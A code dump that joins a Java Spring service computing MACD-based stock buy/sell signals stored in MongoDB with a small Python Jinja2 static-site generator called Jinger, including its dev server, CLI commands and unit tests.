// System.out.println(criterialoopnextObject.get("MACD"));
/*
* already commented System.out.println("date: " +
* macdData.get(i).getDateTime()); System.out.println("MACD Histogram: " +
* macdData.get(i).getHist()); System.out.println("MACD Signal: " +
* macdData.get(i).getSignal()); System.out.println("MACD: " +
* macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1)
+ Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()))) / counter;
if (counter > 5 && counter - sell_counter >= 2 && i < size - 1
&& Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) > 0
&& Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average
* 1.5) {
sell_counter = counter;
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
sell_price = Float.parseFloat(criterialoopObject.get("Price").toString());
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) < 0 && Math.abs(
Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average) {
//
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
buy_opportunity = sell_opportunity;
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
if (i == 0) {
current_hist = Float.parseFloat(criterialoopObject.get("MACD_Hist").toString());
current_price = Float.parseFloat(criterialoopObject.get("Price").toString());
current_time = key;
}
}
} catch (Exception e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
uk_lse_weeklysells UK_LSE_WeeklySell = new uk_lse_weeklysells();
UK_LSE_WeeklySell.setMonth(new java.util.Date().getMonth());
UK_LSE_WeeklySell.setYear(new java.util.Date().getYear());
UK_LSE_WeeklySell.setCompany(company);
UK_LSE_WeeklySell.setIndicator("LIVE");
UK_LSE_WeeklySell.setConfidence_level(confidence_level);
UK_LSE_WeeklySell.setLastSellEvent(sell_opportunity);
UK_LSE_WeeklySell.setLastSellPrice(sell_price);
UK_LSE_WeeklySell.setLastEvent(last_opportunity);
UK_LSE_WeeklySell.setLastEventSell(isLastEventSell);
UK_LSE_WeeklySell.setLastEventPrice(0.0);
UK_LSE_WeeklySell.setLasttradedprice(sell_price);
List<uk_lse_weeklysells> queryresult_querytostopduplicate = new ArrayList<>();
MongoClient mongoClient = MongoClients.create(
"mongodb+srv://marketwinks:<EMAIL>/marketwinksdbprod?retryWrites=true");
MongoTemplate mongoTemplate = new MongoTemplate(mongoClient, "marketwinksdbprod");
try {
Query querytostopduplicate = new Query();
querytostopduplicate.addCriteria(Criteria.where("company").is(company));
querytostopduplicate.addCriteria(Criteria.where("lastSellEvent").is(sell_opportunity));
queryresult_querytostopduplicate = mongoTemplate.find(querytostopduplicate, uk_lse_weeklysells.class);
Query querytomarkexpired = new Query();
querytomarkexpired.addCriteria(Criteria.where("company").is(company));
querytomarkexpired.addCriteria(Criteria.where("indicator").is("LIVE"));
Update updatetomarkexpired = new Update();
updatetomarkexpired.set("indicator", "EXPIRED");
updatetomarkexpired.set("expirytime", current_time);
updatetomarkexpired.set("expiryprice", current_price);
if (current_hist < 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_weeklybuys.class);
} else if (current_hist > 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_weeklysells.class);
}
// FOR LTP UPDATE
Query querytoupdateLTP = new Query();
querytoupdateLTP.addCriteria(Criteria.where("company").is(company));
Update updatetoupdateLTP = new Update();
updatetoupdateLTP.set("lasttradedprice", current_price);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_weeklybuys.class);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_weeklysells.class);
} catch (Exception e) {
System.out.println(e);
} finally {
mongoClient.close();
}
if (queryresult_querytostopduplicate.size() == 0 && UK_LSE_WeeklySell.isLastEventSell() == true) {
uk_lse_weeklysells saveresult = UK_LSE__WeeklySellRepository.insert(UK_LSE_WeeklySell);
}
// TO DO price need to be populated
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/Monthly/SELL/UKEq/{company}", method = RequestMethod.GET)
public boolean findMACDMonthlySELLSignals_UK(@PathVariable String company) {
boolean execution_result = false;
int timeout = 3000;
int size = 0;
System.out.println(company);
double signal_average = 0.0;
// java.time.LocalDateTime buy_opportunity = null;
// java.time.LocalDateTime sell_opportunity = null;
// java.time.LocalDateTime last_opportunity = null;
String buy_opportunity = null;
String sell_opportunity = null;
String last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
double sell_price = 0.00;
double current_hist = 0.00;
double current_price = 0.00;
String current_time = null;
String feedURLFull = "https://markettechnicals-api.herokuapp.com/uk_lse_monthly/macd/read/" + company;
HttpGet request = null;
String url = feedURLFull;
String content = null;
JSONArray criteriaObject = null;
try {
HttpClient client = HttpClientBuilder.create().build();
request = new HttpGet(url);
request.addHeader("User-Agent", "Apache HTTPClient");
HttpResponse response = null;
try {
response = client.execute(request);
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
HttpEntity entity = response.getEntity();
try {
content = EntityUtils.toString(entity);
} catch (ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(content);
JSONParser parser = new JSONParser();
org.json.simple.JSONObject jsonresult = null;
try {
jsonresult = (org.json.simple.JSONObject) parser.parse(content);
} catch (org.json.simple.parser.ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
criteriaObject = (JSONArray) jsonresult.get("macdjson");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(criteriaObject.get(0));
// System.out.println(criteriaObject.get(1));
} finally {
if (request != null) {
request.releaseConnection();
}
}
try {
// System.out.println("MONTHLY SIGNALS:");
List macdData = criteriaObject;
size = macdData.size();
for (int i = size - 2, counter = 1; i >= 0; i--, counter++) {
// for (int i = 0, counter = 1; i <= size - 1; i++, counter++) {
// System.out.println(macdData.get(i));
String loopobj = macdData.get(i).toString();
String loopnextobj = macdData.get(i + 1).toString();
JSONParser loopparser = new JSONParser();
JSONParser loopnextparser = new JSONParser();
org.json.simple.JSONObject jsonloopresult = (org.json.simple.JSONObject) loopparser
.parse(macdData.get(i).toString());
org.json.simple.JSONObject jsonloopnextresult = (org.json.simple.JSONObject) loopnextparser
.parse(macdData.get(i + 1).toString());
String key = null;
String keynext = null;
for (Iterator iterator = jsonloopresult.keySet().iterator(); iterator.hasNext();) {
key = (String) iterator.next();
}
for (Iterator iteratornext = jsonloopnextresult.keySet().iterator(); iteratornext.hasNext();) {
keynext = (String) iteratornext.next();
}
JSONObject criterialoopObject = (JSONObject) jsonloopresult.get(key);
// System.out.println(key);
// System.out.println(criterialoopObject.get("MACD_Signal"));
// System.out.println(criterialoopObject.get("MACD_Hist"));
// System.out.println(criterialoopObject.get("Price"));
// System.out.println(criterialoopObject.get("MACD"));
JSONObject criterialoopnextObject = (JSONObject) jsonloopnextresult.get(keynext);
// System.out.println(keynext);
// System.out.println(criterialoopnextObject.get("MACD_Signal"));
// System.out.println(criterialoopnextObject.get("MACD_Hist"));
// System.out.println(criterialoopnextObject.get("Price"));
// System.out.println(criterialoopnextObject.get("MACD"));
/*
* already commented System.out.println("date: " +
* macdData.get(i).getDateTime()); System.out.println("MACD Histogram: " +
* macdData.get(i).getHist()); System.out.println("MACD Signal: " +
* macdData.get(i).getSignal()); System.out.println("MACD: " +
* macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1)
+ Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()))) / counter;
if (counter > 5 && counter - sell_counter >= 2 && i < size - 1
&& Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) > 0
&& Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average
* 1.5) {
sell_counter = counter;
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
sell_price = Float.parseFloat(criterialoopObject.get("Price").toString());
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) < 0 && Math.abs(
Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average) {
//
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
buy_opportunity = sell_opportunity;
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
if (i == 0) {
current_hist = Float.parseFloat(criterialoopObject.get("MACD_Hist").toString());
current_price = Float.parseFloat(criterialoopObject.get("Price").toString());
current_time = key;
}
}
} catch (Exception e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
uk_lse_monthlysells UK_LSE_MonthlySell = new uk_lse_monthlysells();
UK_LSE_MonthlySell.setMonth(new java.util.Date().getMonth());
UK_LSE_MonthlySell.setYear(new java.util.Date().getYear());
UK_LSE_MonthlySell.setCompany(company);
UK_LSE_MonthlySell.setIndicator("LIVE");
UK_LSE_MonthlySell.setConfidence_level(confidence_level);
UK_LSE_MonthlySell.setLastSellEvent(sell_opportunity);
UK_LSE_MonthlySell.setLastSellPrice(sell_price);
UK_LSE_MonthlySell.setLastEvent(last_opportunity);
UK_LSE_MonthlySell.setLastEventSell(isLastEventSell);
UK_LSE_MonthlySell.setLastEventPrice(0.0);
UK_LSE_MonthlySell.setLasttradedprice(sell_price);
List<uk_lse_monthlysells> queryresult_querytostopduplicate = new ArrayList<>();
MongoClient mongoClient = MongoClients.create(
"mongodb+srv://marketwinks:<EMAIL>/marketwinksdbprod?retryWrites=true");
MongoTemplate mongoTemplate = new MongoTemplate(mongoClient, "marketwinksdbprod");
try {
Query querytostopduplicate = new Query();
querytostopduplicate.addCriteria(Criteria.where("company").is(company));
querytostopduplicate.addCriteria(Criteria.where("lastSellEvent").is(sell_opportunity));
queryresult_querytostopduplicate = mongoTemplate.find(querytostopduplicate, uk_lse_monthlysells.class);
Query querytomarkexpired = new Query();
querytomarkexpired.addCriteria(Criteria.where("company").is(company));
querytomarkexpired.addCriteria(Criteria.where("indicator").is("LIVE"));
Update updatetomarkexpired = new Update();
updatetomarkexpired.set("indicator", "EXPIRED");
updatetomarkexpired.set("expirytime", current_time);
updatetomarkexpired.set("expiryprice", current_price);
if (current_hist < 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_monthlybuys.class);
} else if (current_hist > 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_monthlysells.class);
}
// FOR LTP UPDATE
Query querytoupdateLTP = new Query();
querytoupdateLTP.addCriteria(Criteria.where("company").is(company));
Update updatetoupdateLTP = new Update();
updatetoupdateLTP.set("lasttradedprice", current_price);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_monthlybuys.class);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_monthlysells.class);
} catch (Exception e) {
System.out.println(e);
} finally {
mongoClient.close();
}
if (queryresult_querytostopduplicate.size() == 0 && UK_LSE_MonthlySell.isLastEventSell() == true) {
uk_lse_monthlysells saveresult = UK_LSE__MonthlySellRepository.insert(UK_LSE_MonthlySell);
}
// TO DO price need to be populated
execution_result = true;
return execution_result;
}
}<file_sep>package com.marketwinks.marketsignals.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import com.marketwinks.marketsignals.model.uk_lse_5minbuys;
@Repository
public interface UK_LSE_5MinBuyRepository extends MongoRepository<uk_lse_5minbuys, String> {
}<file_sep>package com.marketwinks.marketsignals.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import com.marketwinks.marketsignals.model.uk_lse_hourlybuys;
@Repository
public interface UK_LSE_HourlyBuyRepository extends MongoRepository<uk_lse_hourlybuys, String> {
}<file_sep>package com.marketwinks.marketsignals.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import com.marketwinks.marketsignals.model.us_dailysells;
@Repository
public interface US_DailySellRepository extends MongoRepository<us_dailysells, String> {
}<file_sep>package com.marketwinks.marketsignals.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import com.marketwinks.marketsignals.model.us_5minsells;
@Repository
public interface US_5MinSellRepository extends MongoRepository<us_5minsells, String> {
}<file_sep>package com.marketwinks.marketsignals.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import com.marketwinks.marketsignals.model.us_15minsells;
@Repository
public interface US_15MinSellRepository extends MongoRepository<us_15minsells, String> {
}<file_sep>package com.marketwinks.marketsignals.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import com.marketwinks.marketsignals.model.us_monthlybuys;
@Repository
public interface US_MonthlyBuyRepository extends MongoRepository<us_monthlybuys, String> {
}<file_sep>package com.marketwinks.marketsignals.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import com.marketwinks.marketsignals.model.us_5minbuys;
@Repository
public interface US_5MinBuyRepository extends MongoRepository<us_5minbuys, String> {
} | 57773bce1db1a985d5fb0fd07246e2997b9748a6 | [
"Java"
] | 12 | Java | MarketWinks/marketsignals | b180d068a256dd1478eff4b3648c9df2ae9fdd5f | ea042cd4cc10734cfcb53b3ccdcff26243bb5ab2 |
refs/heads/master | <file_sep>package com.example.misealimi
import android.support.v7.widget.RecyclerView
class GPSTimelineAdapter(private val myDataset: Array<String>) : RecyclerView.Adapter<GPSTimelineAdapter.ViewHolder>{
}<file_sep>package com.example.misealimi
import android.os.Bundle
import android.support.v7.app.AppCompatActivity
import android.support.v7.widget.LinearLayoutManager
import android.support.v7.widget.RecyclerView;
class GPSTimelineView : AppCompatActivity(){
private lateinit var recyclerView: RecyclerView
private lateinit var viewAdapter: RecyclerView.Adapter<*>
private lateinit var viewManager: RecyclerView.LayoutManager
var gpsTimeline : MutableList<GPSTimeStamp> = mutableListOf<GPSTimeStamp>()
get() = field
private set(newTimeLine:MutableList<GPSTimeStamp>) { field = newTimeLine }
override fun onCreate(savedInstanceState: Bundle?){
super.onCreate(savedInstanceState)
setContentView(R.layout.gps_timeline)
viewManager = LinearLayoutManager(this)
viewAdapter = GPSTimelineAdapter(myDataset)
recyclerView = findViewById<RecyclerView>(R.id.gpsTimelineView)
}
}<file_sep># MiseAlimiClient
대학
<file_sep>package com.example.misealimi
import android.location.Location
import java.util.*
class GPSTimeStamp(location : Location){
val theTime : Date
val location : Location
init{
this.theTime = Date(location.time)
this.location = location
}
} | 97ab936266240c76d60b12e171c89d811a4f4608 | [
"Markdown",
"Kotlin"
] | 4 | Kotlin | irakla/MiseAlimiClient | a06843fae51f191900a304ca6ecfddda238ea3b5 | 8160f5debacd7e2b29db6b118052c8c5b82e6f87 |
refs/heads/main | <file_sep># Real time Speaker diarization & Speaker recognition for online exam proctoring system.
This project contains:
* Text-independent Speaker recognition module based on VGG-Speaker-recognition
* Speaker diarization based on UIS-RNN.</br>
## Prerequisites
1. pytorch
2. keras
3. Tensorflow
4. pyaudio (About how to install on windows, refer to [pyaudio_portaudio](https://github.com/intxcc/pyaudio_portaudio))
## Outline
Their paper can refer to [UTTERANCE-LEVEL AGGREGATION FOR SPEAKER RECOGNITION IN THE WILD](https://arxiv.org/pdf/1902.10107.pdf)</br>
It's a novel idea that combines `netvlad/ghostvlad` which popularly used in image recognition to speaker recognition, the state-of-the-art in the past was `i-vector` based, which depended on the `GMM` model and `pLDA`.
About VGG speaker model, I have re-implemented in tensorflow, [ghostvlad-speaker](https://github.com/taylorlu/ghostvlad-speaker) and corresponding pretrained model.
This project only shows how to generate speaker embeddings using pre-trained model for uis-rnn training.</br>
### 2. Speaker diarization.</br>

#### Clustering
`python main.py`
The Result is showing as below:(3 speakers)
========= 0 =========
0:00.288 ==> 0:04.406
0:07.699 ==> 0:16.461
0:33.921 ==> 0:35.8
========= 1 =========
0:04.406 ==> 0:07.699
0:16.461 ==> 0:19.594
0:30.371 ==> 0:33.921
0:41.19 ==> 0:44.185
========= 2 =========
0:19.594 ==> 0:30.371
0:35.8 ==> 0:41.19
The final result is influenced by the size of each window and the overlap rate.
<file_sep>import requests
headers = {'Authorization' : 'Token <PASSWORD>'}
data = {'user' : '310' ,'language' : 'EN'}
files = {'audio_file' : open('wavs/final_primary_speaker_audio.mp3','rb')}
url = 'https://dev.liv.ai/liv_transcription_api/recordings/'
res = requests.post(url, headers = headers, data = data, files = files)
print(res.content)
with open('outputfile.json', 'wb') as outf:
outf.write(res.content)
| 4404a91e2a147c0eba7ad0aa037ce2f42e4656ab | [
"Markdown",
"Python"
] | 2 | Markdown | Engineer1999/Real-time-Speaker-recognition-and-Diarization-system | 94b2c8e234569617f1a15c4765a37bb2c9df9ba1 | 77b5d4bc0136679d40f458522665595983286181 |
refs/heads/master | <repo_name>naiquevin/jinger<file_sep>/jinger/config.py
import os
import json
import logging
from jinger.exceptions import NotJingerPoweredError
logger = logging.getLogger('jinger')
CONFIG_FILENAME = 'config.json'
def create(path, sourcedir, targetdir):
confpath = os.path.join(path, CONFIG_FILENAME)
with open(confpath, 'w') as c:
conf = {"sourcedir": sourcedir,
"targetdir": targetdir,
"skip_templates": ['base*.html', '_*.html']}
json.dump(conf, c, indent=4)
logger.info("Writing config file %s.." % path)
return confpath
def get_config(sitepath):
"""
Get config dict
"""
try:
fp = open(os.path.join(sitepath, CONFIG_FILENAME))
return json.load(fp)
except IOError:
raise NotJingerPoweredError
<file_sep>/jinger/server.py
import os
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from jinja2 import Environment, FileSystemLoader
import mimetypes
from jinger.config import get_config
_env = None
def get_env(rootpath=os.getcwd()):
"""
Function for getting the jinja2 template environment instance so
that it's loaded only once.
"""
global _env
if _env is None:
conf = get_config(rootpath)
templatepath = os.path.join(rootpath, conf['sourcedir'])
_env = Environment(loader=FileSystemLoader(templatepath))
return _env
class Http404(Exception):
pass
class JingerHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
rootpath = os.getcwd()
self.path = '/index.html' if self.path == '/' else self.path
ctype = mimetypes.guess_type(self.path)[0]
try:
self.send_response(200)
self.send_header('Content-type', ctype)
self.end_headers()
self.wfile.write(get_content(self.path, rootpath, ctype))
except Http404:
self.send_error(404, 'Template not found for path: %s' % self.path)
def get_content(path, rootpath=os.getcwd(), ctype=None):
ctype = mimetypes.guess_type(path)[0] if ctype is None else ctype
if ctype == 'text/html':
return compiled_template_content(path, rootpath)
elif webasset_exists(rootpath, path):
return webassets_content(path, rootpath)
elif ctype == 'image/x-icon':
return ''
else:
raise Http404
def compiled_template_content(path, rootpath):
templatepath = path.strip('/')
try:
env = get_env(rootpath)
return env.get_template(templatepath).render()
except IOError:
raise Http404
def webassets_content(path, rootpath):
try:
with open(webasset_path(rootpath, path)) as f:
return f.read()
except IOError:
raise Http404
def webasset_path(rootpath, path):
return os.path.join(rootpath, 'webassets', path.strip('/'))
def webasset_exists(rootpath, path):
return os.path.exists(webasset_path(rootpath, path))
def startserver(port):
try:
server = HTTPServer(('', int(port)), JingerHTTPRequestHandler)
print 'Development server started at 127.0.0.1 on port %s' % port
server.serve_forever()
except KeyboardInterrupt:
print 'Shutting down server'
server.socket.close()
if __name__ == '__main__':
startserver()
<file_sep>/testrunner.py
#!/usr/bin/env python
import unittest
import glob
import sys
def create_test_suite(mod):
if mod is None:
test_file_strings = glob.glob('jinger/test/test_*.py')
module_strings = [str[0:len(str)-3].replace('/', '.') for str in test_file_strings]
else:
module_strings = ['jinger.test.test_%s' % (mod)]
suites = [unittest.defaultTestLoader.loadTestsFromName(s) for s in module_strings]
testSuite = unittest.TestSuite(suites)
return testSuite
if __name__ == '__main__':
try:
mod = sys.argv[1]
except IndexError as e:
mod = None
testSuite = create_test_suite(mod);
text_runner = unittest.TextTestRunner().run(testSuite)
<file_sep>/jinger/generator.py
import os
import logging
import shutil
import fnmatch
from jinja2 import Environment, FileSystemLoader
logger = logging.getLogger('jinger')
def generate_html(sitedir, conf):
"""
Compile Jinja2 templates in `sourcedir` to html files saved in
`targetdir` preserving the directory structure.
"""
sourcedir, targetdir = conf['sourcedir'], conf['targetdir']
def templates_filter(filename):
"""
Function for filtering the templates as per the
`skip_patterns` specified in the config
"""
return filename.endswith('.html') and \
not reduce(lambda x, y: x or fnmatch.fnmatch(filename, y),
conf['skip_templates'],
False)
env = Environment(loader=FileSystemLoader(conf['sourcedir']))
templates = env.list_templates(filter_func=templates_filter)
for t in templates:
filepath = os.path.join(targetdir,
*tuple(t.split(os.path.sep)))
dirname = os.path.dirname(filepath)
if not os.path.exists(dirname):
os.makedirs(dirname)
with open(filepath, 'w') as f:
f.writelines(env.get_template(t).generate())
logger.info("Generated %s" % filepath)
def generate_webassets(sitedir, conf):
"""
Generate or rather copy the contents of the `webassets`
directory to the `public` directory
"""
ignore = shutil.ignore_patterns(('*~', '.gitignore'))
for p in os.listdir(os.path.join(sitedir, 'webassets')):
srcpath = os.path.join(sitedir, 'webassets', p)
trgtpath = os.path.join(sitedir, conf['targetdir'], p)
if os.path.exists(trgtpath):
if os.path.isfile(trgtpath):
os.unlink(trgtpath)
else:
shutil.rmtree(trgtpath)
shutil.copytree(srcpath, trgtpath, ignore=ignore)
<file_sep>/examples/mysite/webassets/js/main.js
var mysite = {};
<file_sep>/jinger/exceptions.py
class NotJingerPoweredError(Exception):
"""
Indicates that the directory is not a Jinger powered static website
"""
pass
<file_sep>/jinger/site.py
"""
All code dealing with the directory structure for a jinger site.
"""
import os
import logging
from jinger import config
logger = logging.getLogger('jinger')
def createdir(path, dirname):
path = os.path.join(path, dirname)
if os.path.exists(path):
raise Exception("A directory by name %s already exists" % path)
logger.info("Creating path %s.." % path)
os.mkdir(path)
return path
def create_empty_site(sitename, cwd, sourcedir='templates', targetdir='public'):
"""
Will create a directory of with the specified `sitename` in the
`cwd`.
`sourcedir` is for jinja2 template files
`targetdir` is where the compiled html files will be placed.
Additionally, a json config file will be created with
settings for the `sourcedir` and the `targetdir` so that these
may be changed later on too and a directory named `webassets`
will be added where css, js etc files can be placed
"""
logger.info("Creating site %s.." % sitename)
sitedir = createdir(cwd, sitename)
createdir(sitedir, sourcedir)
createdir(sitedir, targetdir)
createdir(sitedir, 'webassets')
config.create(sitedir, sourcedir, targetdir)
logger.info("DONE")
<file_sep>/jinger/commands.py
import os
from optparse import OptionParser
import sys
import logging
# For being able to test commands without intallation
# TODO - Replace with an elegant method
if __name__ == '__main__':
sys.path.append(os.path.dirname(os.path.realpath(__file__)) + '/..')
from jinger import site
from jinger.config import get_config
from jinger.generator import generate_html, generate_webassets
from jinger.server import startserver
from jinger.exceptions import NotJingerPoweredError
logger = logging.getLogger('jinger')
def startsite():
parser = OptionParser()
parser.add_option("-s", "--sourcedir", dest="sourcedir",
help="Name of the dir for source template files (defaults to 'templates')")
parser.add_option("-t", "--targetdir", dest="targetdir",
help="Name of the dir for generated html files (defaults to 'public')")
(options, args) = parser.parse_args()
try:
sitename = args[1]
opts = dict([(k, v) for k, v in options.__dict__.iteritems() if v is not None])
site.create_empty_site(sitename, os.getcwd(), **opts)
except IndexError:
logger.error("Error: Please specify a name for the jinger powered site.")
help()
def generate():
try:
conf = get_config(os.getcwd())
generate_html(os.getcwd(), conf)
generate_webassets(os.getcwd(), conf)
except NotJingerPoweredError:
logger.error("Error: Could not generate html as this doesn't seem to be a Jinger powered static site")
help()
def runserver():
parser = OptionParser()
parser.add_option("-p", "--port", dest="port",
help="Port to use for localhost (127.0.0.1)")
(options, args) = parser.parse_args()
port = options.port if options.port is not None else 9000
try:
startserver(port)
except NotJingerPoweredError:
logger.error("Error: Could not start server as this doesn't seem to be a Jinger powered static site")
help()
def help():
help_msg = """
Available Commands:
jinja startsite Create directory structure for new static website
jinja generate Generate markup from template files
jinja runserver Start a development server
Options:
startsite:
--sourcedir (-s) Name of the jinja2 templates directory (default: templates)
--targetdir (-t) Name of the compiled markup files (default: public)
runserver:
--port (-p) Port to use for the development server (default: 9000)
Note: The commands `generate` and `runserver` need to be run from a directory
which is a jinger powered website.
"""
logger.info(help_msg)
def main():
try:
cmd = sys.argv[1]
except IndexError:
cmd = 'help'
if cmd == 'startsite':
startsite()
elif cmd == 'generate':
generate()
elif cmd == 'runserver':
runserver()
elif cmd in ['help']:
help()
else:
help()
# For being able to test commands without intallation
if __name__ == '__main__':
main()
<file_sep>/jinger/test/__init__.py
import os
import unittest
import logging
from jinger import emptydir
# disable logging while running tests
logging.disable(logging.CRITICAL)
DIR_PLAYGROUND = os.path.dirname(os.path.realpath(__file__)) + '/../../playground'
def empty_playground():
"""
Delete all file contents of the playground dir
"""
emptydir(DIR_PLAYGROUND)
def ensure_empty_playground():
if len(os.listdir(DIR_PLAYGROUND)) != 0:
empty_playground()
class JingerPlaygroundTest(unittest.TestCase):
def setUp(self):
# ensure the playground dir is empty initially
ensure_empty_playground()
def tearDown(self):
# ensure the playground dir is empty initially
empty_playground()
<file_sep>/jinger/test/test_site.py
# import unittest
import os
from jinger.site import create_empty_site, createdir
from jinger.test import DIR_PLAYGROUND, JingerPlaygroundTest
class SiteTest(JingerPlaygroundTest):
def test_create_dir(self):
mysite = createdir(DIR_PLAYGROUND, 'mysite')
self.assertTrue(os.path.exists(mysite))
# check that if the dir already exists, it raises an Exception
pass
def test_create_empty_site(self):
create_empty_site('mysite', DIR_PLAYGROUND)
newsite = os.path.join(DIR_PLAYGROUND, 'mysite')
os.path.exists(newsite)
os.path.exists(os.path.join(newsite, 'templates'))
os.path.exists(os.path.join(newsite, 'public'))
os.path.exists(os.path.join(newsite, 'config.json'))
create_empty_site('myothersite', DIR_PLAYGROUND, '_source', 'www')
newsite = os.path.join(DIR_PLAYGROUND, 'myothersite')
os.path.exists(newsite)
os.path.exists(os.path.join(newsite, '_source'))
os.path.exists(os.path.join(newsite, 'www'))
os.path.exists(os.path.join(newsite, 'config.json'))
<file_sep>/jinger/test/test_server.py
import os
from jinger.test import JingerPlaygroundTest, DIR_PLAYGROUND
from jinger.server import get_content, webasset_path
from jinger.site import create_empty_site
class WebContentTest(JingerPlaygroundTest):
def setUp(self):
super(WebContentTest, self).setUp()
create_empty_site('mysite', DIR_PLAYGROUND)
self.site = os.path.abspath(os.path.join(DIR_PLAYGROUND, 'mysite'))
with open(os.path.join(self.site, 'templates', 'index.html'), 'w') as f:
f.write('<!DOCTYPE html>')
with open(webasset_path(self.site, 'styles.css'), 'w') as f:
f.write('html, body {}')
with open(webasset_path(self.site, 'main.js'), 'w') as f:
f.write('var MYSITE = {};')
with open(webasset_path(self.site, 'logo.png'), 'w') as f:
f.write('100011')
def test_get_content(self):
content = get_content('/index.html', rootpath=self.site)
self.assertEqual(content, '<!DOCTYPE html>')
content = get_content('/styles.css', rootpath=self.site)
self.assertEqual(content, 'html, body {}')
content = get_content('/main.js', rootpath=self.site)
self.assertEqual(content, 'var MYSITE = {};')
content = get_content('/logo.png', rootpath=self.site)
self.assertEqual(content, '100011')
<file_sep>/README.rst
Jinger - Jinga2 based static site generator
===========================================
What is Jinger ?
